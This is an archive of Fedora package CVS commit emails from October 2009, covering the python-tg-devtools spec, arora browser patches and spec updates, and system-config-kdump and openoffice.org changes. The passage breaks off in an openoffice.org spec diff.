%{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}

Name:           python-tg-devtools
Version:        2.0.2
Release:        3%{?dist}
Summary:        Development tools and templates for TurboGears2

Group:          Development/Languages
License:        MIT
URL:            http://www.turbogears.org
Source0:        http://www.turbogears.org/2.0/downloads/current/tg.devtools-%{version}.tar.gz
Patch0:         %{name}-test_admin.patch
Patch1:         %{name}-sa05.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  python-setuptools-devel python-nose python-coverage
BuildRequires:  python-repoze-tm2 python-turbokid python-turbojson
BuildRequires:  python-repoze-what-quickstart python-catwalk
BuildRequires:  python-zope-sqlalchemy

BuildRequires:  python-paste-script python-tempita python-webtest
BuildRequires:  python-repoze-who python-repoze-who-testutil
BuildRequires:  python-babel
BuildRequires:  TurboGears2

Requires:       TurboGears2
Requires:       python-repoze-what-quickstart >= 1.0
Requires:       python-repoze-who >= 1.0.10
Requires:       python-repoze-who-testutil
Requires:       python-catwalk

%if 0%{?fedora} <= 6
Requires:       python-sqlite2
BuildRequires:  python-sqlite2
BuildRequires:  python-hashlib
Requires:       python-hashlib
%endif

%if 0%{?fedora} > 10
Requires:       python-sqlalchemy
Requires:       python-migrate
BuildRequires:  python-migrate
%else
BuildRequires:  python-sqlalchemy0.5
BuildRequires:  python-migrate0.5
Requires:       python-sqlalchemy0.5
Requires:       python-migrate0.5
%endif

%description
This package contains various paster commands and templates used for
TurboGears2 development.


%prep
%setup -q -n tg.devtools-%{version}
%patch0 -p0 -b .test_admin
%patch1 -p0 -b .sqlalchemy


%build
%{__python} setup.py build


%install
rm -rf %{buildroot}
%{__python} setup.py install -O1 --skip-build --root %{buildroot}
# remove wrong script interpreter
sed -i '1s/^#!python//' %{buildroot}%{python_sitelib}/devtools/templates/turbogears/ez_setup/__init__.py


%check
PYTHONPATH=$(pwd) %{__python} devtools/tests/test_pastetemplate.py

%clean
rm -rf %{buildroot}


%files
%defattr(0644,root,root,0755)
%doc
%{python_sitelib}/devtools/
%{python_sitelib}/tg.devtools-%{version}-py%{pyver}.egg-info/



%changelog
* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-3
- Apply patch from #468804 to fix version requirements

* Tue Sep 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-2
- Update SQLAlchemy0.5 patch
- Include both version of SQLAlchemy to get the test suite to run

* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-1
- 2.0.2

* Fri Jun 26 2009 Luke Macken <lmacken at redhat.com> - 2.0-9
- Update the sa05 patch to work with sqlalchemy-migrate 0.4 and 0.5

* Tue Jun 23 2009 Luke Macken <lmacken at redhat.com> - 2.0-8
- Hack around a setuptools bug to get the test suite to pass
  with both SQLAlchemy 0.4 and 0.5 installed in the same site-packages

* Wed Jun 17 2009 Luke Macken <lmacken at redhat.com> - 2.0-7
- Add a patch to get things working with SQLAlchemy 0.5

* Wed Jun 03 2009 Luke Macken <lmacken at redhat.com> - 2.0-6
- Add a patch to "fix" the test_pastetemplate.TestQuickStart.test_admin unit test
- Enable the test suite.

* Wed Jun 03 2009 Luke Macken <lmacken at redhat.com> - 2.0-5
- Add python-catwalk to the BuildRequires
- Require python-hashlib on FC6 and below.

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 2.0-4
- Conditionally require python-sqlite2

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 2.0-3
- Require python-catwalk

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 2.0-2
- Require python-repoze-who-testutil

* Sun May 31 2009 Luke Macken <lmacken at redhat.com> - 2.0-1
- Update to 2.0 final
- Sync our requirements
- Remove the setuptools wsgiref patch
- Disable unit tests until Catwalk is packaged

* Tue Oct 28 2008 Luke Macken <lmacken at redhat.com> - 1.9.7-0.2.a4
- Swap out tg.ext.repoze.who for tgext.authorization

* Sun Oct 26 2008 Luke Macken <lmacken at redhat.com> - 1.9.7-0.1.a4
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 19:54:28 -0000	1.1
+++ .cvsignore	2 Oct 2009 09:46:28 -0000	1.2
@@ -0,0 +1 @@
+tg.devtools-2.0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 19:54:28 -0000	1.1
+++ sources	2 Oct 2009 09:46:28 -0000	1.2
@@ -0,0 +1 @@
+0aa191ec9f98158f977a82ca841f93af  tg.devtools-2.0.2.tar.gz



From jreznik at fedoraproject.org  Fri Oct  2 10:02:44 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Fri,  2 Oct 2009 10:02:44 +0000 (UTC)
Subject: rpms/arora/F-12 arora-0.10.0-fedorabookmarks.patch, NONE,
	1.1 arora-0.10.0-fedorahome.patch, NONE,
	1.1 arora-0.10.0-gitversion.patch, NONE, 1.1 .cvsignore, 1.10,
	1.11 arora.spec, 1.20, 1.21 sources, 1.10,
	1.11 arora-0.8.0-fedorahome.patch, 1.1,
	NONE arora-0.9.0-fedorabookmarks.patch, 1.1,
	NONE arora-0.9.0-gitversion.patch, 1.1, NONE
Message-ID: <20091002100244.CD36011C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6524

Modified Files:
	.cvsignore arora.spec sources 
Added Files:
	arora-0.10.0-fedorabookmarks.patch 
	arora-0.10.0-fedorahome.patch arora-0.10.0-gitversion.patch 
Removed Files:
	arora-0.8.0-fedorahome.patch arora-0.9.0-fedorabookmarks.patch 
	arora-0.9.0-gitversion.patch 
Log Message:
* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
- Fedorahome patch rebased

* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
- Update to 0.10.0


arora-0.10.0-fedorabookmarks.patch:
 defaultbookmarks.xbel |   39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

--- NEW FILE arora-0.10.0-fedorabookmarks.patch ---
diff -up arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks arora-0.10.0/src/data/defaultbookmarks.xbel
--- arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/data/defaultbookmarks.xbel	2009-10-02 09:52:11.805729976 +0200
@@ -7,6 +7,45 @@
             <title>Arora</title>
         </bookmark>
     </folder>
+            <folder folded="no">
+            <title>Fedora Project</title>
+            <bookmark href="http://fedoraproject.org/">
+                <title>Fedora Project</title>
+            </bookmark>
+            <bookmark href="http://docs.fedoraproject.org/release-notes/">
+                <title>Release Notes</title>
+            </bookmark>
+            <bookmark href="http://forums.fedoraforum.org/">
+                <title>Fedora Forum</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/FWN">
+                <title>Fedora Weekly News</title>
+            </bookmark>
+            <bookmark href="http://www.fedoraunity.org/">
+                <title>Fedora Unity Project</title>
+            </bookmark>
+            <bookmark href="http://planet.fedoraproject.org/">
+                <title>Planet Fedora</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/Communicate">
+                <title>Communicate</title>
+            </bookmark>
+        </folder>
+        <folder folded="no">
+            <title>Red Hat</title>
+            <bookmark href="http://www.redhatmagazine.com/">
+                <title>Red Hat Magazine</title>
+            </bookmark>
+            <bookmark href="http://mugshot.org/main">
+                <title>Mugshot</title>
+            </bookmark>
+            <bookmark href="http://www.redhat.com/">
+                <title>Red Hat</title>
+            </bookmark>
+            <bookmark href="http://www.jboss.com/">
+                <title>JBoss</title>
+            </bookmark>
+        </folder>
     <folder folded="yes">
         <title>Bookmarks Menu</title>
     </folder>

arora-0.10.0-fedorahome.patch:
 browsermainwindow.cpp |    2 +-
 settings.cpp          |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE arora-0.10.0-fedorahome.patch ---
diff -up arora-0.10.0/src/browsermainwindow.cpp.fedorahome arora-0.10.0/src/browsermainwindow.cpp
--- arora-0.10.0/src/browsermainwindow.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/browsermainwindow.cpp	2009-10-02 09:52:59.515856829 +0200
@@ -1373,7 +1373,7 @@ void BrowserMainWindow::goHome()
 {
     QSettings settings;
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString home = settings.value(QLatin1String("home"), QLatin1String("about:home")).toString();
+    QString home = settings.value(QLatin1String("home"), QLatin1String("http://start.fedoraproject.org/")).toString();
     tabWidget()->loadString(home);
 }
 
diff -up arora-0.10.0/src/settings.cpp.fedorahome arora-0.10.0/src/settings.cpp
--- arora-0.10.0/src/settings.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/settings.cpp	2009-10-02 09:52:59.518856379 +0200
@@ -143,7 +143,7 @@ void SettingsDialog::loadFromSettings()
     settings.endGroup();
 
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString defaultHome = QLatin1String("about:home");
+    QString defaultHome = QLatin1String("http://start.fedoraproject.org/");
     homeLineEdit->setText(settings.value(QLatin1String("home"), defaultHome).toString());
     startupBehavior->setCurrentIndex(settings.value(QLatin1String("startupBehavior"), 0).toInt());
     settings.endGroup();

arora-0.10.0-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.0-gitversion.patch ---
diff -up arora-0.10.0/src/src.pri.gitversion arora-0.10.0/src/src.pri
--- arora-0.10.0/src/src.pri.gitversion	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/src.pri	2009-10-02 09:15:43.230739247 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"c65c20c\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1161\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	31 Aug 2009 11:46:58 -0000	1.10
+++ .cvsignore	2 Oct 2009 10:02:44 -0000	1.11
@@ -1 +1 @@
-arora-0.9.0.tar.gz
+arora-0.10.0.tar.gz


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-12/arora.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- arora.spec	20 Sep 2009 21:12:40 -0000	1.20
+++ arora.spec	2 Oct 2009 10:02:44 -0000	1.21
@@ -1,5 +1,5 @@
 Name:           arora
-Version:        0.9.0
+Version:        0.10.0
 Release:        2%{?dist}
 Summary:        A cross platform web browser
 
@@ -7,9 +7,9 @@ Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.9.0-gitversion.patch
-Patch1:         arora-0.9.0-fedorabookmarks.patch
-Patch2:         arora-0.8.0-fedorahome.patch
+Patch0:         arora-0.10.0-gitversion.patch
+Patch1:         arora-0.10.0-fedorabookmarks.patch
+Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
@@ -98,6 +98,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
+- Fedorahome patch rebased
+
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
+- Update to 0.10.0
+
 * Sun Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.9.0-2
 - add icon/mime scriptlets
 - don't own %%{_mandir}/man1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	31 Aug 2009 11:46:58 -0000	1.10
+++ sources	2 Oct 2009 10:02:44 -0000	1.11
@@ -1 +1 @@
-6473ddb24d65d468265c94710409937b  arora-0.9.0.tar.gz
+664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz


--- arora-0.8.0-fedorahome.patch DELETED ---


--- arora-0.9.0-fedorabookmarks.patch DELETED ---


--- arora-0.9.0-gitversion.patch DELETED ---



From jreznik at fedoraproject.org  Fri Oct  2 10:06:05 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Fri,  2 Oct 2009 10:06:05 +0000 (UTC)
Subject: rpms/arora/F-11 arora-0.10.0-fedorabookmarks.patch, NONE,
	1.1 arora-0.10.0-fedorahome.patch, NONE,
	1.1 arora-0.10.0-gitversion.patch, NONE, 1.1 arora.spec, 1.14,
	1.15 sources, 1.9, 1.10 arora-0.8.0-fedorahome.patch, 1.1,
	NONE arora-0.9.0-fedorabookmarks.patch, 1.1,
	NONE arora-0.9.0-gitversion.patch, 1.1, NONE
Message-ID: <20091002100605.E9D2811C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7317

Modified Files:
	arora.spec sources 
Added Files:
	arora-0.10.0-fedorabookmarks.patch 
	arora-0.10.0-fedorahome.patch arora-0.10.0-gitversion.patch 
Removed Files:
	arora-0.8.0-fedorahome.patch arora-0.9.0-fedorabookmarks.patch 
	arora-0.9.0-gitversion.patch 
Log Message:
* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
- Fedorahome patch rebased

* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
- Update to 0.10.0

* Sun Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.9.0-2
- add icon/mime scriptlets
- don't own %%{_mandir}/man1
- BR: qt4-devel


arora-0.10.0-fedorabookmarks.patch:
 defaultbookmarks.xbel |   39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

--- NEW FILE arora-0.10.0-fedorabookmarks.patch ---
diff -up arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks arora-0.10.0/src/data/defaultbookmarks.xbel
--- arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/data/defaultbookmarks.xbel	2009-10-02 09:52:11.805729976 +0200
@@ -7,6 +7,45 @@
             <title>Arora</title>
         </bookmark>
     </folder>
+            <folder folded="no">
+            <title>Fedora Project</title>
+            <bookmark href="http://fedoraproject.org/">
+                <title>Fedora Project</title>
+            </bookmark>
+            <bookmark href="http://docs.fedoraproject.org/release-notes/">
+                <title>Release Notes</title>
+            </bookmark>
+            <bookmark href="http://forums.fedoraforum.org/">
+                <title>Fedora Forum</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/FWN">
+                <title>Fedora Weekly News</title>
+            </bookmark>
+            <bookmark href="http://www.fedoraunity.org/">
+                <title>Fedora Unity Project</title>
+            </bookmark>
+            <bookmark href="http://planet.fedoraproject.org/">
+                <title>Planet Fedora</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/Communicate">
+                <title>Communicate</title>
+            </bookmark>
+        </folder>
+        <folder folded="no">
+            <title>Red Hat</title>
+            <bookmark href="http://www.redhatmagazine.com/">
+                <title>Red Hat Magazine</title>
+            </bookmark>
+            <bookmark href="http://mugshot.org/main">
+                <title>Mugshot</title>
+            </bookmark>
+            <bookmark href="http://www.redhat.com/">
+                <title>Red Hat</title>
+            </bookmark>
+            <bookmark href="http://www.jboss.com/">
+                <title>JBoss</title>
+            </bookmark>
+        </folder>
     <folder folded="yes">
         <title>Bookmarks Menu</title>
     </folder>

arora-0.10.0-fedorahome.patch:
 browsermainwindow.cpp |    2 +-
 settings.cpp          |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE arora-0.10.0-fedorahome.patch ---
diff -up arora-0.10.0/src/browsermainwindow.cpp.fedorahome arora-0.10.0/src/browsermainwindow.cpp
--- arora-0.10.0/src/browsermainwindow.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/browsermainwindow.cpp	2009-10-02 09:52:59.515856829 +0200
@@ -1373,7 +1373,7 @@ void BrowserMainWindow::goHome()
 {
     QSettings settings;
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString home = settings.value(QLatin1String("home"), QLatin1String("about:home")).toString();
+    QString home = settings.value(QLatin1String("home"), QLatin1String("http://start.fedoraproject.org/")).toString();
     tabWidget()->loadString(home);
 }
 
diff -up arora-0.10.0/src/settings.cpp.fedorahome arora-0.10.0/src/settings.cpp
--- arora-0.10.0/src/settings.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/settings.cpp	2009-10-02 09:52:59.518856379 +0200
@@ -143,7 +143,7 @@ void SettingsDialog::loadFromSettings()
     settings.endGroup();
 
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString defaultHome = QLatin1String("about:home");
+    QString defaultHome = QLatin1String("http://start.fedoraproject.org/");
     homeLineEdit->setText(settings.value(QLatin1String("home"), defaultHome).toString());
     startupBehavior->setCurrentIndex(settings.value(QLatin1String("startupBehavior"), 0).toInt());
     settings.endGroup();

arora-0.10.0-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.0-gitversion.patch ---
diff -up arora-0.10.0/src/src.pri.gitversion arora-0.10.0/src/src.pri
--- arora-0.10.0/src/src.pri.gitversion	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/src.pri	2009-10-02 09:15:43.230739247 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"c65c20c\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1161\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-11/arora.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- arora.spec	31 Aug 2009 11:53:20 -0000	1.14
+++ arora.spec	2 Oct 2009 10:06:05 -0000	1.15
@@ -1,19 +1,19 @@
 Name:           arora
-Version:        0.9.0
-Release:        1%{?dist}
+Version:        0.10.0
+Release:        2%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.9.0-gitversion.patch
-Patch1:         arora-0.9.0-fedorabookmarks.patch
-Patch2:         arora-0.8.0-fedorahome.patch
+Patch0:         arora-0.10.0-gitversion.patch
+Patch1:         arora-0.10.0-fedorabookmarks.patch
+Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
-BuildRequires:  qt-devel >= 4.4.0
+BuildRequires:  qt4-devel >= 4.4.0
 # for gnome default app path
 BuildRequires:  control-center-devel
 
@@ -28,7 +28,7 @@ browsing and other common features such 
 Summary:        Better Gnome support for Arora
 Group:          Applications/Internet
 Requires:       control-center
-Requires:       arora
+Requires:       arora 
 
 %description gnome
 Adds Arora to Preferred Applications list in Gnome Control Center.
@@ -48,6 +48,8 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make INSTALL_ROOT=$RPM_BUILD_ROOT install 
 
+# imo, shouldn't add/change upstream vendor here, but changing
+# once released this way is bad too. :(  -- Rex
 desktop-file-install --vendor fedora \
       --dir $RPM_BUILD_ROOT%{_datadir}/applications\
       --delete-original\
@@ -57,6 +59,22 @@ desktop-file-install --vendor fedora \
 %clean
 rm -rf $RPM_BUILD_ROOT
 
+
+%post
+touch --no-create %{_datadir}/icons/hicolor &> /dev/null || :
+
+%postun
+if [ $1 -eq 0 ] ; then
+  update-desktop-database -q &> /dev/null
+  touch --no-create %{_datadir}/icons/hicolor &> /dev/null
+  gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null || :
+fi
+
+%posttrans
+update-desktop-database -q &> /dev/null
+gtk-update-icon-cache %{_datadir}/icons/hicolor &> /dev/null || :
+
+
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS README ChangeLog
@@ -70,16 +88,27 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/icons/hicolor/16x16/apps/arora.png
 %{_datadir}/icons/hicolor/32x32/apps/arora.png
 %{_datadir}/icons/hicolor/scalable/apps/arora.svg
-%{_datadir}/arora
+%{_datadir}/arora/
 %{_datadir}/pixmaps/arora.xpm
-%{_datadir}/man/man1
+%{_mandir}/man1/*
 
 %files gnome
 %defattr(-,root,root,-)
-%{_datadir}/gnome-control-center/default-apps
+%{_datadir}/gnome-control-center/default-apps/
 
 
 %changelog
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
+- Fedorahome patch rebased
+
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
+- Update to 0.10.0
+
+* Sun Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.9.0-2
+- add icon/mime scriptlets
+- don't own %%{_mandir}/man1
+- BR: qt4-devel
+
 * Mon Jul 31 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.9.0-1
 - Update to 0.9.0
 
@@ -139,4 +168,4 @@ rm -rf $RPM_BUILD_ROOT
 - Location bar's double click selects all
 
 * Wed Aug 13 2008 Jaroslav Reznik <jreznik at redhat.com> - 0.3-1  
-- Initial spec file 
\ No newline at end of file
+- Initial spec file 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	31 Aug 2009 11:53:20 -0000	1.9
+++ sources	2 Oct 2009 10:06:05 -0000	1.10
@@ -1 +1 @@
-6473ddb24d65d468265c94710409937b  arora-0.9.0.tar.gz
+664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz


--- arora-0.8.0-fedorahome.patch DELETED ---


--- arora-0.9.0-fedorabookmarks.patch DELETED ---


--- arora-0.9.0-gitversion.patch DELETED ---



From rrakus at fedoraproject.org  Fri Oct  2 10:13:16 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Fri,  2 Oct 2009 10:13:16 +0000 (UTC)
Subject: rpms/system-config-kdump/F-12 .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 system-config-kdump.spec, 1.11,
	1.12 s-c-kdump-1.0.14-reflect-current-settings.patch, 1.1,
	NONE system-config-kdump-1.0.14-error-handling.patch, 1.1,
	NONE system-config-kdump-1.0.14-fedora.patch, 1.1,
	NONE system-config-kdump-1.0.14-off-by-one.patch, 1.1,
	NONE system-config-kdump-1.0.14-ommit-offset.patch, 1.1, NONE
Message-ID: <20091002101316.4043411C00C1@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/system-config-kdump/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9080

Modified Files:
	.cvsignore sources system-config-kdump.spec 
Removed Files:
	s-c-kdump-1.0.14-reflect-current-settings.patch 
	system-config-kdump-1.0.14-error-handling.patch 
	system-config-kdump-1.0.14-fedora.patch 
	system-config-kdump-1.0.14-off-by-one.patch 
	system-config-kdump-1.0.14-ommit-offset.patch 
Log Message:
Update to 2.0.1. Deleted unused patches. Resolves #524771.


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/system-config-kdump/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	5 May 2009 14:32:14 -0000	1.5
+++ .cvsignore	2 Oct 2009 10:13:15 -0000	1.6
@@ -1 +1 @@
-system-config-kdump-2.0.0.tar.bz2
+system-config-kdump-2.0.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/system-config-kdump/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	5 May 2009 14:32:14 -0000	1.5
+++ sources	2 Oct 2009 10:13:15 -0000	1.6
@@ -1 +1 @@
-fc0af839ac193056ca0295efc9026f4e  system-config-kdump-2.0.0.tar.bz2
+ec996bc629ee02278576fb6acfe24f6c  system-config-kdump-2.0.1.tar.bz2


Index: system-config-kdump.spec
===================================================================
RCS file: /cvs/extras/rpms/system-config-kdump/F-12/system-config-kdump.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- system-config-kdump.spec	27 Jul 2009 05:23:08 -0000	1.11
+++ system-config-kdump.spec	2 Oct 2009 10:13:16 -0000	1.12
@@ -1,7 +1,7 @@
 Summary: A graphical interface for configuring kernel crash dumping
 Name: system-config-kdump
-Version: 2.0.0
-Release: 3%{?dist}
+Version: 2.0.1
+Release: 1%{?dist}
 URL: http://fedorahosted.org/system-config-kdump/
 License: GPLv2+
 Group: System Environment/Base
@@ -14,7 +14,6 @@ BuildRequires: intltool, gettext, gnome-
 Requires: pygtk2 >= 2.8.6
 Requires: pygtk2-libglade
 Requires: usermode >= 1.36
-Requires: rhpl >= 0.185-1
 Requires: kexec-tools
 Requires: bitmap-fonts
 Requires: yelp
@@ -75,7 +74,7 @@ fi
 
 %{_sysconfdir}/dbus-1/system.d/org.fedoraproject.systemconfig.kdump.mechanism.conf
 %{_datadir}/dbus-1/system-services/org.fedoraproject.systemconfig.kdump.mechanism.service
-%{_datadir}/PolicyKit/policy/org.fedoraproject.systemconfig.kdump.policy
+%{_datadir}/polkit-1/actions/org.fedoraproject.systemconfig.kdump.policy
 
 %{_datadir}/icons/hicolor/48x48/apps/system-config-kdump.png
 
@@ -84,6 +83,9 @@ fi
 %doc %{_datadir}/omf/system-config-kdump
 
 %changelog
+* Fri Oct 02 2009 Roman Rakus <rrakus at redhat.com> - 2.0.1-1
+- Update to version 2.0.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- s-c-kdump-1.0.14-reflect-current-settings.patch DELETED ---


--- system-config-kdump-1.0.14-error-handling.patch DELETED ---


--- system-config-kdump-1.0.14-fedora.patch DELETED ---


--- system-config-kdump-1.0.14-off-by-one.patch DELETED ---


--- system-config-kdump-1.0.14-ommit-offset.patch DELETED ---



From caolanm at fedoraproject.org  Fri Oct  2 10:16:18 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri,  2 Oct 2009 10:16:18 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec, 1.2014,
	1.2015 workspace.impress169.patch, 1.2,
	1.3 openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch,
	1.1, NONE
Message-ID: <20091002101618.4BDF711C00C1@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9879

Modified Files:
	openoffice.org.spec workspace.impress169.patch 
Removed Files:
	openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch 
Log Message:
track openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch workspace


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2014
retrieving revision 1.2015
diff -u -p -r1.2014 -r1.2015
--- openoffice.org.spec	30 Sep 2009 14:02:40 -0000	1.2014
